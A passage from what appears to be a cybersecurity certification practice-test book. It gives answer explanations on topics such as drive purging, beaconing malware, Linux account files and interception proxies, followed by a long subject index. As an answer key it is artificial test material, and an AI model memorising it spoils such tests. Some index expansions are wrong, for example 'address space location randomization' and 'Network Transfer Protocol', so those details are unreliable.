D. The best option presented is for Chris to remove the drive and purge the data from it. Destroying the drive, unless specified as allowable in the lease, is likely to cause contractual issues. Reformatting a drive that contains highly sensitive data will not remove the data, so neither reformatting option is useful here. In a best-case scenario, Chris will work to ensure that future devices either have built-in encryption that allows an easy secure wipe mode or a dedicated secure wipe mode, or he will work to ensure that the next lease includes a drive destruction clause.

A. The most reasonable response is for Rhonda to adjust the scanning parameters to avoid conflicts with peak business periods. She could ask for additional network bandwidth, but this is likely an unnecessary expense. Adjusting the business requirements is not a reasonable response, as security objectives should be designed to add security in a way that allows the business to operate efficiently, not the other way around. Ignoring the request would be very harmful to the business relationship.

B. When restoring from a backup after a compromise, it is important to ensure that the flaw that allowed attackers in is patched or otherwise remediated. In many environments, backups can be restored to a protected location where they can be patched, validated, and tested before they are restored to service.

D. Recurring beaconing behavior with a changing set of systems is a common characteristic of more advanced malware packages. It is most likely that this system was compromised with malware that deleted itself when its ability to check in with a command-and-control system was removed, thus preventing the malware from being captured and analyzed by incident responders.

A. ISO 27001 provides guidance on information security management systems. ISO 9000 applies to quality management. ISO 11120 applies to gas cylinders. ISO 23270 applies to programming languages.

B.  /etc/shadow contains password hashes but does not provide information about privileges. Unlike /etc/passwd, it does not contain user ID or group ID information and instead contains only the username and hashed password.

/etc/passwd, /etc/sudoers, and /etc/group may all contain evidence of the www user receiving additional privileges.

A. Logging of application and server activity may provide valuable evidence during a forensic investigation. The other three controls listed are proactive controls designed to reduce the risk of an incident occurring and are less likely to directly provide information during a forensic investigation.

A. This is an appropriate case for an exception to the scanning policy. The server appears to be secure, and the scanning itself is causing a production issue. Jamal should continue to monitor the situation and consider alternative forms of scanning, but it would not be appropriate to continue the scanning or set an artificial deadline that is highly unlikely to be met. Decommissioning the server is an excessive action as there is no indication that it is insecure, and the issue may, in fact, be a problem with the scanner itself.

A. The best defense against a man-in-the-middle attack is to use HTTPS with a digital certificate. Users should be trained to pay attention to certificate errors to avoid accepting a false certificate. Input validation and patching would not be an effective defense against man-in-the-middle attacks because man-in-the-middle attacks are network-based attacks. A firewall would be able to block access to the web application but cannot stop a man-in-the-middle attack.

B. Although nmap provides service version identification, it relies heavily on the information that the services provide. In some cases, fully patched services may provide banner information that does not show the minor version or may not change banners after a patch, leading to incorrect version identification.

B. Tyler should initiate his organization's change management process to begin the patching process. This is a medium severity vulnerability, so there is no need to apply the patch in an emergency fashion that would bypass change management. Similarly, shutting down the server would cause a serious disruption and the level of severity does not justify that. Finally, there is no need to rerun the scan because there is no indication that it is a false positive result.

A. Carla is looking for a tool from a category known as interception proxies. They run on the tester's system and intercept requests being sent from the web browser to the web server before they are released onto the network. This allows the tester to manually manipulate the request to attempt the injection of an attack. Burp, ZAP, and Tamper Data are all examples of interception proxies. Nessus is a vulnerability scanner and, while useful in penetration testing, does not serve as an interception proxy.

C. Alex needs to quickly move into containment mode by limiting the impact of the compromise. He can then gather the evidence and data needed to support the incident response effort, allowing him to work with his organization's desktop and IT support teams to return the organization to normal function.

Index

A

AAAA records, 24–25, 355

acceptable use policy (AUP), 271, 285, 452, 459

access points, deploying multiple, 117, 385

AccessChk (Sysinternals), 209, 425

AccessEnum, 209, 425

accidental threats, 291, 461

account management policy, 280, 456

active defense, 124, 389

Active Directory (AD), 19, 164, 168, 354, 408, 409

active fingerprinting, 358

active scanning, 24, 355

Activity Monitor, 187, 416, 439

address space location randomization (ASLR), 155, 224–225, 404, 431

administrative controls, 379

Adobe Flash, 99, 379

Advanced Encryption Standard (AES), 57, 275, 366, 454

advanced persistent threat (APT), 3–4, 27, 174, 184, 211, 239, 258, 266, 297, 348, 356, 411, 415, 426, 439, 446, 450, 463

Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK) framework, 160, 161, 406, 407

adverse events, 228, 433

AES-256, 124, 389

AES-GCM, 46, 362

African Network Information Center (AFRINIC), 23, 355

agent-based, out-of-band NAC solution, 155–156, 304, 404, 465–466

agent-based monitoring, 69, 89, 95, 369, 376, 378

agent-based NAC solutions, 201, 422

agent-based scanning, 35, 359

Agile model, 112, 121, 141, 383, 387, 398

air gap, 118, 132, 228, 383, 386, 393, 433

Akamai, 27, 356

analysis

availability, 154, 294, 403, 462

behavioral, 110, 252, 261, 358, 382, 444, 448

business impact analysis (BIA), 82, 86, 320, 375, 471

code, 402

dynamic code, 116, 385, 441

forensic, 230, 434

heuristic, 187, 204, 290, 416, 423, 461

information impact, 258, 446–447

malware, 177, 252, 412, 444

manual review and, 123, 388

signature, 95, 378

static, 109, 115, 180, 197, 203, 382, 385, 413, 420, 422, 441

static code, 384

trend, 186, 416

URL, 196–197, 204–205, 420, 423

wireless, 9, 350

Angry IP Scanner, 24, 355

annual reviews, 275, 454

annualized loss expectancy (ALE), 272, 283–284, 341, 453, 458, 477

annualized rate of occurrence (ARO), 272, 283–284, 453, 458

antimalware tool, 205, 424

anti-tamper protection, 134, 394

Apache, 12, 351

API keys, 120, 128, 135, 387, 391, 395

application-based multifactor authentication, 306, 466

approved scanning vendor (ASV) scan, 71, 370

apt command, 220, 430

ARP tables, 68, 369

artificial intelligence (AI), 191, 418, 423

Asia-Pacific Network Information Centre (APINC), 23, 355

asset inventory, 88, 376

asset tagging, 117, 385

asset value (AV), 341, 477

at command, 178–179, 413

atomic execution, 130, 135, 140, 392, 394, 397

attack surface, 404

attack vectors, 418

attribute-based access control (ABAC), 122–123, 125, 139–140, 388, 390, 397

attrition, as an attack vector for classifying threats, 428

audits, 226–227, 429, 432

authenticated scans, 97–98, 231, 379, 435

authentication

context-based, 119, 306, 386, 466

multifactor authentication (MFA), 112, 118, 122, 137, 383, 386, 388, 395, 399

plain-text, 65, 368

requiring, 350

token-based multifactor, 306, 466

two-factor, 113, 383

auth.log file, 155, 231, 310, 404, 435, 468

automated patching, 396

automated testing sandbox, 381

automated vulnerability scanning, 138, 396

availability analysis, 154, 294, 403, 462

awareness campaigns, 190–191, 417–418

B

background screening, 266, 450

back-off algorithm, 160–161, 406

backups, 229, 232, 236, 279, 342, 367, 434, 435, 438, 456, 478

banner grabbing, 10, 59, 350, 366

basic input/output system (BIOS), 126, 298, 390, 463

bcrypt, 109, 145, 382, 400

beaconing, 342, 478

behavioral analysis, 110, 252, 261, 358, 382, 444, 448

behavior-based detection, 154, 404

binary diffing, 153, 403

binary file, 200, 421

birthday attacks, 98, 379

BitLocker, 255, 426, 445

blackholing, DNS, 185, 415

blacklisting, 158, 184, 405, 407–408, 415

blind SQL injection, 42, 308, 361, 377, 467

block size, 296, 463

blocking

logins, 288, 460

web browsing, 87, 375

boot log, 109, 382

Border Gateway Protocol (BGP), 118, 133, 385–386, 394

bounds checking, 73, 371

Bring Your Own Device (BYOD), 86, 168, 238, 307–308, 375, 409, 438, 467

brute-force attacks, 14, 160–161, 179, 246, 348, 349, 352, 390, 399, 406, 413, 428, 441

BSSID, 232, 435

buffer overflows, 13, 50, 69–70, 72–73, 254, 351, 364, 370, 371, 445

buffer overwriting, 222, 430–431

bug, 361

built-in editing tools, 414

Burp Proxy, 343, 479

bus encryption, 134, 393, 394

business impact analysis (BIA), 82, 86, 320, 375, 471

business partnership agreements (BPAs), 86, 320, 375, 471

C

call list, 260, 447

canonical name (CNAME), 31, 358

canonicalization, 222, 430–431

CAPEC, 161, 407

CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart), 399

captive portals, 160, 406

cell phone forensics, 228, 433

CERT/CC, 248, 442

Certificate Authority (CA), 96, 378

certificates, digital, 30, 92, 96, 97, 124, 131, 239, 357, 377, 379, 389, 392, 393, 474, 479

certutil utility, 223–224, 431

chain-of-custody tracking, 213, 221, 231, 427, 430, 435

change control processes, managing, 68, 372

change management, 72, 80, 120, 370–371, 373, 387, 479

checksum, 108, 298, 309, 381, 463, 467–468

chmod command, 214, 427

Chrome (Google), 73, 246–247, 371, 442

cipher support, 40–41, 57, 361, 366

clearing, 434

client-server platform, 399

clock synchronization, 302, 465

cloning, 410

closed source intelligence, 3, 348

cloud access security brokers (CASBs), 123, 203, 388, 423

Cloud Formation, 8, 350

Cloudflare, 27, 356

CloudSploit, 16, 353

clusters, 10, 238, 240, 351, 439

code

analysis of, 402

testing, 38, 360

code of conduct/ethics, 280, 456

collision, 98, 379

command history, 250, 443

commodity malware, 5, 349

Common Platform Enumeration (CPE), 10, 17, 195, 350, 353, 419–420

Common Vulnerability Scoring System (CVSS), 161, 195, 323, 407, 419–420, 472

communication, in remediation workflow, 72, 370–371

community cloud, 8, 349

compensating controls, 71, 370

Computer Security Incident Handling Guide (NIST), 235, 437

containerization, 77, 120–121, 372, 387, 401

containment, 303, 343, 465, 479

content distribution networks (CDNs), 27, 356

context-based authentication, 119, 306, 386, 466

continual service improvement (CSI), 287, 459

continuous delivery (CD), 196, 204, 420, 423

continuous integration (CI), 196, 420

continuous monitoring, 93, 94–95, 377, 378

continuous scanning, 294, 462

Control Objectives for Information and Related Technologies (COBIT), 271, 280, 325, 452, 456, 473

Controller Area Network bus (CAN bus), 16, 353, 464

cookie management, 44, 362

copyrights, 237, 438

corporate policy, 91, 376

corporate-owned, personally enabled (COPE) strategy, 86, 307–308, 375, 467

crash carts, 442

credential stuffing, 14, 352

credentialed scanning, 43, 44, 81, 91, 95, 97–98, 362, 373, 377, 378, 379

credit cards, 425–426

cross-site scripting (XSS) attack, 125, 140, 339, 389, 398, 477

cryptolocker, 392

CVSS vector, 60, 366

D

data

at rest, 194, 419

sharing, 285, 458

data carving, 218, 429

data classification, 61, 266, 273, 288, 322, 337, 367, 450, 453, 460, 472, 476

data collection, 139, 396

data disposal, 322, 472

data encoding, 116, 385

data encryption key (DEK), 147–148, 401

Data Encryption Standard (DES) algorithm, 57, 366

data enrichment, 185, 194, 415, 419

Data Execution Prevention (DEP), 155, 251, 404, 443

data exfiltration, 279–280, 356, 413, 456

data flows, 27, 356

data loss prevention (DLP), 88, 124, 167, 185–186, 202, 270, 273, 341, 376, 389, 409, 415, 422, 452, 453, 477–478

data masking, 267, 450

data ownership, 288, 290, 460, 461

data privacy, 61, 367

data remanence, 61, 367

data retention, 61, 276, 288, 322, 329, 367, 454, 460, 472, 474

data sovereignty, 269, 451

database servers

logs for, 64–65, 368

ports for, 38, 320, 360, 471

database vulnerability scan, 367

datacenter, 272, 453

datacenter firewalls, 22, 355

DBAN, 475

debuggers, 177, 412, 414

deception technology, 124, 389

decompilers, 177, 412

decomposition diagram, 111, 382

Defense Microelectronics Activity (DMEA), 147, 401

degaussing, 229, 434

demilitarized zone (DMZ), 12, 351

DemoHost2, 25, 355

denial-of-service (DoS) attacks, 15, 120, 135, 212, 352, 364, 387, 395, 426, 461

deprovisioning, 275, 454

destruction, 434

detection systems, 142–143, 399

deterministic sampling, 186, 416

DevOps model, 138, 396

DevSecOps model, 126, 149, 389, 390, 402

Diamond Model of Intrusion Analysis, 5–6, 349

dig command, 30, 314, 357, 469

digital certificates, 30, 92, 96, 97, 124, 131, 239, 357, 377, 379, 389, 392, 393, 474, 479

disassemblers, 177, 412, 414

disaster recovery plans (DRPs), 82, 374

disclosure, as a GAPP privacy practice, 431

discretionary access control (DAC), 120, 122–123, 125, 139–140, 387, 388, 390, 397

DiskView, 254, 445

disposition, 115, 141, 150, 384, 398, 402

dissemination component, in intelligence cycle, 4, 348

distributed denial-of-service (DDoS) attacks, 17, 284, 353, 458

DNS blackholing, 185, 415

DNS brute-force attack, 3, 6–7, 348, 349

DNS sinkholes, 165, 173, 197, 408, 411, 420

Docker, 128, 137, 148, 391, 395–396, 401

documents, 228, 283, 433, 458

$ character, 116, 385

domain controllers (DCs), 168, 409

domain generation algorithms (DGAs), 197, 408, 420

Domain Name System (DNS), querying, 22, 354

domain names, 166, 408

domain registration information, 34, 359

DomainKeys Identified Mail (DKIM), 405–406

drive adapters, as components of forensic toolkits, 259, 447

drives

encrypting, 213, 426–427

purging, 218, 428

self-encrypting drives (SEDs), 131, 134, 147–148, 393, 394, 401

dual control, as a personnel control, 276, 282, 286, 328, 455, 457, 459, 474

due diligence, 279–280, 456

dynamic code analysis, 116, 385, 441

E

economic impact, 250–251, 443

edge router, 136–137, 395

eFuse (IBM), 129, 147, 309, 392, 401, 467

802.1x protocol, 155, 404

email

embedded links in, 177, 412

forwarding, 172, 411

email headers, 159, 229, 236, 406, 434, 437

email signatures, 412

embedded systems, 399

emergency change procedure, 80, 261–262, 373, 448

Encapsulating Security Payload (ESP), 183, 415

encryption, 133, 213, 352, 356, 393, 417, 426–427, 472

end-of-life (EOL), 80, 373

endpoint detection and response (EDR), 171, 203, 410, 422

endpoint security software, 187, 417

endpoints, 14, 352

end-to-end encryption, 27, 356

engagement, 276–277, 279, 455

enumeration, 369

Eraser, 218, 429

error log, 217, 428

escalation list, 447

escalation of privilege vulnerability, 47, 363

event indicators, 319–320, 471

evidence production, 472

exceptions, in policy documents, 280, 456, 459, 479

exposure factor (EF), 272, 341, 452–453, 477

Extensible Authentication Protocol (EAP), 161, 407

external scan, 71, 163, 326, 370, 407, 473

F

Facebook, 247, 442

Fagan inspection, 114, 146, 204, 384, 400, 423

false positives, 3, 42, 63, 64, 348, 361, 367–368

Family Educational Rights and Privacy Act (FERPA), 38, 268, 280–281, 360, 451, 456

fast-flux DNS networks, 339, 477

fault injection, 111, 318–319, 383, 470–471

feasibility phase, of projects, 150, 402

Federal Information Processing Standard (FIPS), 119, 386

Federal Information Security Management Act (FISMA), 95, 248, 378, 442

feedback component, in intelligence cycle, 4, 348

fences, 276, 455

fiber links, 255, 445

field-programmable gate arrays (FPGAs), 13, 351

file command, 220, 429

File System audit, 245, 441

File Transfer Protocol (FTP), 84, 324, 374, 472

filesystem, 204, 423

FileVault, 211, 426

filtering beacons, 426

fingerprinting software, 66, 350, 368

Firefox (Mozilla), 72–73, 83, 371, 374

firewall logs, 187, 416, 464

firewalls

about, 32, 358, 373

configuring, 49, 363

defined, 118, 386

rules for, 87–88, 304, 327, 331, 376, 465, 474

upgrading, 79, 372

FireWire, 445

firmware, 125–126, 129, 132, 144, 390, 392, 393, 399

flow logs, 226, 432

forensic analysis and techniques, 230, 434

forensic artifacts, 423

forensic examiners, 237, 438

forensic images, importing, 291, 461

forensic SIM, 226, 432

Framework Core (NIST Cybersecurity Framework), 286, 459

Framework Profiles, 286, 459

frameworks, 469

FTK Imager Light, 223, 245, 431, 441

full interruption tests, 448

full-disk encryption (FDE), 13, 113, 167, 270–271, 273, 341, 352, 383, 409, 452, 453, 477–478

function as a service (FaaS), 6, 349

functional impact, severity classification and, 334, 475

fuzz testing (fuzzing), 111, 114, 116, 145, 318–319, 383, 384, 385, 396, 400, 470–471

G

General Data Protection Regulation (GDPR), 275, 454

GET command, 200, 421

getfacl command, 426

Google Chrome, 72–73, 246–247, 371, 442

GPS systems, 228, 433

Gramm-Leach-Bliley Act (GLBA), 268, 280–281, 282, 307, 451, 456, 457, 467

greater than/less than brackets (<>), 116, 385

grep command, 65, 177, 368, 412

Group Policy Objects (GPOs), 168, 409

groups command, 474

guidelines, in policy documents, 283, 458

H

hacktivists, 201, 422

hardware security modules (HSMs), 107, 108, 128, 129, 133, 134, 381, 391, 392, 394

hardware write blockers, 213, 427

hash function, 96, 378

Hashcat, 351

hashing, 118, 235, 386, 437

head command, 214, 427

Health Insurance Portability and Accountability Act (HIPAA), 38, 267, 268, 277, 280–281, 282, 291–292, 307, 360, 450, 451, 455, 456, 457, 462, 467

heuristic analysis, 187, 204, 290, 416, 423, 461

hibernation files, 242, 333, 439–440, 475

high-priority vulnerabilities, 374

holographic stickers, 131, 393

honeynet, 120, 387

honeypots, 107, 120, 297, 306, 381, 387, 463, 466

host enumeration, 369

host firewalls, 61, 77, 79, 113–114, 367, 372, 384

host intrusion prevention systems (HIPSs), 14, 185–186, 188, 352, 415, 417

host-based solution, 14, 352

hosts, accessing, 7, 349

Hping, 13, 351

HTTP TRACK/TRACE methods, 86, 375

HTTP/HTTPS traffic vulnerabilities, 59, 154, 366, 403

hybrid cloud, 8, 349

I

ICANN, 22, 354

ICMP protocol, 412

identification phase, 258, 447

identity and access management (IAM) systems, 139, 397

identity provider (IDP), 127, 138, 147, 327, 391, 396, 401, 473

IDS logs, 65, 368

ifconfig command, 322, 439, 471, 472

impact score, 367

impersonation attacks, 428

incremental mode, 217, 428

indicators of compromise (IOCs), 191, 348, 418

industrial control systems (ICSs), 42, 361

information asset value, 44, 362

information impact analysis, 258, 446–447

information leakage vulnerability, 36, 359

information sharing and analysis centers (ISACs), 4–5, 236, 349, 437

Information Technology Infrastructure Library (ITIL), 269, 273, 451, 455

infrastructure as a service (IaaS), 27–28, 262, 279–280, 356, 449, 456

infrsatructure as code (IAC) computing, 350

input validation, 79, 116, 143, 372, 385, 399, 479

insurance, 271, 272, 452, 453

integrated circuit (IC), 111, 382

integrated development environment (IDE), 132, 393

intelligence criteria, 348

intelligence cycle, 4, 348

interactive logins, 70–71, 370

interception proxies, 343, 479

internal audit, 268, 451

internal scan, 48, 71, 326, 363, 370, 473

Internet Explorer, 75, 309–310, 371, 468

intrusion detection systems (IDSs), 87–88, 116, 182, 270, 376, 385, 414, 452

intrusion prevention systems (IPSs), 32, 182, 187, 270, 314, 333, 358, 361, 367, 414, 416, 422, 452, 469, 475

IP addresses, 79, 193, 239, 310, 339, 373, 412, 419, 439, 468, 477

IP port, 19, 354

IP ranges, 6, 184, 349, 399, 415

IP reputation, 225–226, 432

ipconfig command, 322, 439, 472

iPhone backups, 236, 438

IPP port, 19, 354

IPsec, 50, 129, 364, 389, 391, 392

IPsSec, 398

iptables, 169–171, 410

IPv6 records, 24–25, 355

IR life cycle, phases in, 232, 435

ISO 9000, 270, 452

ISO 17799, 270, 452

ISO 27001, 270, 286, 342, 452, 459, 478

ISO 30170, 270, 452

isolating, 112, 237, 383, 438

IT Infrastructure Library (ITIL), 325, 473

J

John the Ripper, 260, 338, 447, 476

jump boxes, 108–109, 381, 415

jump host/box, 122, 388

jump kit, 246, 442

K

Kerberos, 30, 357, 388, 462–463

kernel-mode drivers, 53, 364

keychain, 236, 438

keys, access associated with, 9, 350

kill command, 170, 410

knowledge-based factors, 305, 340, 466, 477

Kubernetes, 148, 401

L

LACNIC, 23, 355

Lambda service (Amazon), 6, 349

LANMAN hashes, 17, 353

latency, 11–12, 351

least privilege, 276, 286, 455, 459

level 5 vulnerabilities, 91, 377

level-based access control, 109, 382

Lightweight Directory Access Protocol (LDAP), 72, 96, 139, 371, 378, 397

link failure, 290, 461

Linux

about, 174–175, 211, 412, 426

permissions, 216, 427

processors and, 137, 395–396

syslogs, 140, 397

live forensics imaging, 243–244, 440–441

load balancers, 29, 100–101, 357, 380

local scans, 213, 426

Lockheed Martin's Cyber Kill Chain, 299, 464

log files, 123–124, 388

logging, 116, 168, 343, 385, 409, 478–479

logins, blocking, 288, 460

logs, 188, 252, 417, 444

LOIC, 164, 407–408

ls command, 168, 409

M

MAC address, 15, 30, 117, 158, 161, 170–171, 216, 229, 239, 352, 357, 385, 405, 407, 410, 422, 427, 434, 439

machine learning (ML), 191, 195, 204, 418, 419, 423

macOS drive, 218, 429

malloc() function, 13, 351

malware, 5, 177, 191, 194, 200, 237, 252, 349, 412, 418, 419, 421, 438, 444

managed detection response (MDR) system, 414

management, primary role of, 231, 435

mandatory access control (MAC), 109, 120, 122–123, 125, 139–140, 382, 387, 388, 390, 397

mandatory vacation, as a personnel control, 273, 281, 453, 457

man-in-the-middle (MitM) attacks, 343, 428, 479

manual review and analysis, 123, 388

mapping and enumeration, 369

MD5 hash, 209, 425

measured boot, 117, 132–133, 385, 393

media sanitization, 229, 434

memorandums of understanding (MOUs), 82, 86, 320, 374, 375, 471

memory pressure, 250, 443

memory protection, 79, 372

memory usage monitoring, 221–222, 430

memstat command, 168, 409

metadata, 209, 425, 441–442

MetaScan, 254, 445

metrics, 297–298, 463

Microsoft

Internet Information Server (IIS), 47, 57, 363, 365–366

MBSA, 442

storing Office files, 249–250, 442–443

support for Internet Explorer, 72–73, 371

Microsoft SQL, 3, 27, 61, 348, 356, 357, 365

Microsoft SQL Server, 96, 378

mitigation service, 17, 353

mobile device management (MDM), 86, 375

mobile devices, 77, 372

Modbus protocol, 13, 299, 351, 464

Mozilla Firefox, 72–73, 83, 371, 374

multifactor authentication (MFA), 112, 118, 122, 137, 383, 386, 388, 395, 399

mutation testing, 111, 318–319, 383, 470–471

MX records, 31, 358

MySQL, 3, 156, 348, 405

N

National Software Reference Library (NSRL), 438

Nessus (Tenable), 89, 343, 376, 479

Netcat, 8–9, 24, 250, 305, 308, 350, 355, 443, 466, 467

NetFlow, 64–65, 187, 198, 214, 368, 416, 421, 427

netstat command, 8, 319, 322, 349–350, 471, 472

network access control (NAC), 161, 179, 341, 407, 413, 478

network address translation (NAT), 160, 301, 406, 464

Network Admission Control. see network access control (NAC)

network cards, 462

network firewalls, 18, 353, 409, 465

network flows, 189, 417, 421

network segmentation, 79, 112, 135, 137, 139, 148, 215, 266, 372, 383, 384, 395, 396, 401, 427, 450, 474

Network Time Protocol (NTP) server, 51–52, 364

Network Transfer Protocol (NTP), 326–327, 473

NetworkMiner, 31, 358

networks, scanning, 21, 354

Nikto scan, 33, 358

NIST

Computer Security Incident Handling Guide, 235, 437

Cybersecurity Framework, 279, 456

recoverability effort categories, 226, 432

Nmap, 8, 10, 17, 20, 24, 28, 29–30, 32, 35, 291, 298, 311, 350, 351, 353, 354, 355, 357, 358, 359, 461–462, 463, 468

nmap command, 26, 356

nondisclosure agreements (NDAs), 281, 457

notifications, 154, 403–404

NTP synchronization, 292, 462

O

OAuth, 122, 139, 150, 267, 307, 388, 397, 402, 450, 467

observable occurrences, 314, 469

one-time password (OTP), 122, 388

Online Certificate Status Protocol (OCSP), 161, 406–407

on-site network scan, 32, 358

Open Indicators of Compromise (OpenIOC) format, 3, 348

open source intelligence, 3, 348

Open Web Application Security Project (OWASP), 126, 390

OpenFlow, 119, 386

OpenID, 122, 150, 388, 402

OpenSSH, 330–331, 362, 474

OpenSSL, 59, 366

OpenVAS, 257, 446

operating systems

about, 165, 408

fingerprinting, 334, 475

identifying, 354

upgrading, 62, 367

Ophcrack, 220, 430

OPTIONS method, 50, 363

Oracle, 3, 96, 348, 378

Oracle databases

about, 161–162, 407

ports for, 336–337, 476

servers for, 56, 365

organizational unique identifier (OUI), 435

original equipment manufacturers (OEMs), 107, 381

OSINT, 19, 33–34, 354, 359

output encoding, 126, 140, 390, 398

outsourcing, 228, 433

overflowing, 261, 448

over-the-shoulder code review, 114, 384

P

packers, 162, 407

packet capture, 307, 467

packet sniffing, 214, 427

Pacu, 16, 353

page file, 232, 435

pair programming, 114, 384

parameterized queries, 116, 127, 140, 385, 391, 397, 401

pass-around code reviews, 114, 384

passive defenses, 107, 381

passive fingerprinting, 32, 358

passive network mapping, 24, 89, 355, 376

passive reconnaissance, 24, 355

passphrases, 254–255, 445

password crackers, 260, 338, 447, 476

password hashes, 342, 478

password policy, 374

password reuse, 144, 399

password spraying attack, 14, 352

password-hashing algorithm, 382

passwords, 145, 209, 400, 425

patch deployment, 58, 91–92, 366, 370, 375, 377

patch management, 31, 36, 62–63, 67, 99, 227, 290, 335, 358, 359–360, 367, 369, 379, 433, 461, 476, 479

patents, 237, 438

Payment Card Industry Data Security Standard (PCI DSS), 38, 41, 58, 79, 100, 167, 266, 273, 277, 282, 284, 285, 307, 328–329, 338, 360, 361, 366, 372, 380, 408, 435, 450, 453, 455, 457, 458, 467, 474, 476–477

peer-to-peer botnets, 444

penetration testing, 38, 276–277, 309, 360, 455, 457, 467

pepper, 137, 395

permissions, 67, 88, 216, 369, 376, 427

permissions inventory, 12, 351

personally identifiable information (PII), 230–231, 242, 277, 435, 440, 455

phishing attacks, 160, 406

PHP language, 322–323, 472

phpinfo file, 94, 377

physical access, 128, 391

physical inventory, 133, 394

ping scan, 32, 358

ping sweep, 34, 359

pivot, preparing to, 26, 356

plain-text authentication, 65, 368

platform as a service (PaaS), 6, 349

playbooks, in incident response, 254, 305, 445, 466

pluggable authentication module (PAM), 239, 438–439

PNG processing, 58, 366

Point-to-Point Tunneling Protocol (PPTP), 50, 124, 364, 389

poisoning vulnerability, 375

policies, 312, 469

POODLE vulnerability, 54, 365

port 22, 176–177, 197, 317, 412, 420, 470

port 23, 38, 317, 360, 470

port 80, 154, 403

port 139, 50, 363

port 389, 72, 371

port 443, 56, 365

port 445, 50, 363

port 636, 96, 378

port 1433, 56, 96, 365, 378

port 1521, 96, 378

port 3306, 156, 405

port 3389, 28, 39, 180, 356, 360, 413

port scanning, 17, 33–35, 353, 355, 359, 426

ports

about, 3, 348, 354

for database servers, 38, 320, 360, 471

open, 28, 30–31, 357

for remote desktop protocol services, 38, 360

security of, 158, 405

for web servers, 38, 320, 360, 471

Post Office Protocol v3 (POP3), 64, 368

Postgres, 3, 30, 348, 357

postincident communication, 260, 447–448

postmortem forensics, 243–244, 440–441

PowerShell, 153–154, 403

preparation phase, of incident response, 211, 425

pretexting, 19, 354

printers, 71–72, 370

private cloud, 8, 349

private key, 148–149, 402

privilege escalation, 15, 245, 352, 441

privileged accounts, 122, 139, 388, 397

proactive network segmentation, 209–210, 425

process flow, 447

Process Monitor, 231–232, 435

processor monitoring, 135, 395

processor security extensions, 148, 401

profiling, 245, 354, 441

proprietary breaches, 440

proprietary intelligence, 3, 348

proprietary protocols, 144, 399

protected health information (PHI), 248, 277, 280–281, 442, 455, 456

Prowler, 16, 353

proxies, 11, 351

ps command, 65, 158, 368, 405

PS tools, 156, 404–405

pseudocode, 242, 440

public cloud, 8, 349

purging, 212, 218, 267, 341, 426, 428, 434, 450, 478

purpose limitation, 268, 451

PuTTY, 76, 371–372

Q

qualitative risk assessment, 274, 454

quantitative risk assessment, 274, 454

quarantine networks, 160, 406

query parameterization, 116, 127, 140, 385, 391, 397, 401

R

rainbow table attacks, 14, 220, 352, 430

random sampling, 186, 416

Rank Software, 416

Rapid Application Development (RAD), 112, 121, 383, 387

RAW images, 234, 436

real-time operating system (RTOS), 13, 351, 464

reconnaissance and intelligence gathering, 62, 367

Red Hat Linux, 83, 374

redirect attack, 307, 467

redundant system, 79, 136, 372, 395

reformatting, 426

registry changes/anomalies, 166–167, 194–195, 222, 258, 304–305, 408, 419, 429, 430, 446, 461, 466

regression testing, 111, 145, 382, 400

regular expressions, 143–144, 399

relying party (RP), 127, 391

remediation workflow, 46, 48, 51, 52, 55–56, 60, 85, 92, 94–95, 361, 362, 363, 364, 365, 366–367, 369, 374–375, 377, 378

remote attestation, 382

Remote Authentication Dial-In User Service (RADIUS), 30, 296, 357, 462–463

remote code execution, 376

Remote Desktop Protocol (RDP), 38, 39, 155, 180, 320, 360, 404, 413, 471

remote server logs, 402

reporting, 94, 378

Representational State Transfer (REST), 142, 398

reputational source, 5, 349

requirements, as component in intelligence cycle, 4, 348

resource exhaustion, 322, 471–472

Resource Monitor (resmon), 221, 430, 439

Responder, 13, 351

REST-based web services, 128, 135, 391, 395

restoration, of application and service issues, 233, 242, 436, 440

reverse engineering, 396, 398

reverse image search tools, 255, 445

RIPE, 23, 355

risk acceptance, 270, 272–273, 274, 452, 453, 454

risk appetite, 98, 379

risk assessment, 275, 454

risk avoidance, 268, 270, 451, 452

risk identification process, 454

risk mitigation, 270, 452

risk tolerance, 98, 379

risk transference, 268, 270, 451, 452

role-based access control (RBAC), 109, 120, 122–123, 125, 139–140, 382, 387, 388, 390, 397

rootkits, 15, 352

rotation list, 447

route command, 465

routers, 118, 386, 395

RSA encryption keys, 115, 384, 392

rules, 163, 164, 407

rules of engagement (RoE), 282, 457

runas command, 65, 368

runtime packers, 162, 407

S

salt, 137, 395

SAM, 248–249, 258, 442, 446

sampling, 416

sandboxing, 108, 110, 179–180, 203, 310, 340–341 381, 382, 412, 422, 468, 477

Sarbanes-Oxley (SOX) Act, 38, 268, 280–281, 282, 360, 451, 456, 457, 467

scalability, as a benefit of cloud computing, 120, 387

Scalpel, 321, 332–333, 471, 475

scans

log for, 157, 405

scheduling, 101, 380

sensitivity of, 68–69, 72, 78, 369, 371, 372

standard, 59, 366

scheduling scans, 101, 380

ScoutSuite, 16, 353

scripts, 423, 446, 448

Secure Boot, 134, 135, 145, 394, 399–400

Secure Enclave, 392

Secure Shell (SSH) protocol, 188, 378, 417

Secure Sockets Layer (SSL), 50, 273, 364, 453

Secure/Multipurpose Internet Mail Extensions (S/MIME), 168, 409

security. see specific topics

security artifacts, 115, 384

Security Assertion Markup Language (SAML), 122, 133, 139, 150, 161, 388, 393, 397, 402, 406–407

Security Content Automation Protocol (SCAP), 174, 191, 195, 411, 418, 419–420, 423

security information and event management (SIEM) systems, 154, 186, 192, 205, 403, 416, 418–419, 424, 443

security operations center (SOC), 228, 433

Security Orchestration, Automation, and Response (SOAR) tool, 176, 182, 192, 193, 334, 412, 414, 418–419, 475

security patches, 47, 363, 367

security screws, 147, 401

security through obscurity, 116, 385

security updates, 66, 368–369, 372

segmentation, 79, 112, 135, 137, 139, 148, 215, 266, 372, 383, 384, 395, 396, 401, 427, 450, 474

self-encrypting drives (SEDs), 131, 134, 147–148, 393, 394, 401

self-signed certificates, 18, 353

sensitive personal information (SPI), 455

separation of duties, as a personnel control, 274, 281, 282, 287, 453, 454, 455, 456, 459–460

server logs, 87–88, 376

server-based scanning, 44, 89, 362, 376

serverless computing, 146, 387, 400

servers, upgrading, 371

service level agreements (SLAs), 82, 86, 320, 374, 375, 471

service ports, 356

service provider (SP), 127, 391

service-oriented architectures (SOA), 127, 391

session hijacking, 160, 406, 465

session IDs, 142, 398

setfacl command, 426

severity classification, 36, 37, 51, 52, 55, 83, 87, 98, 99–100, 312, 316–317, 359, 360, 364, 365, 369, 374, 375, 379, 398, 450, 469, 470

sFlow (sampled flow), 198, 421

shadowed rule, 300, 464

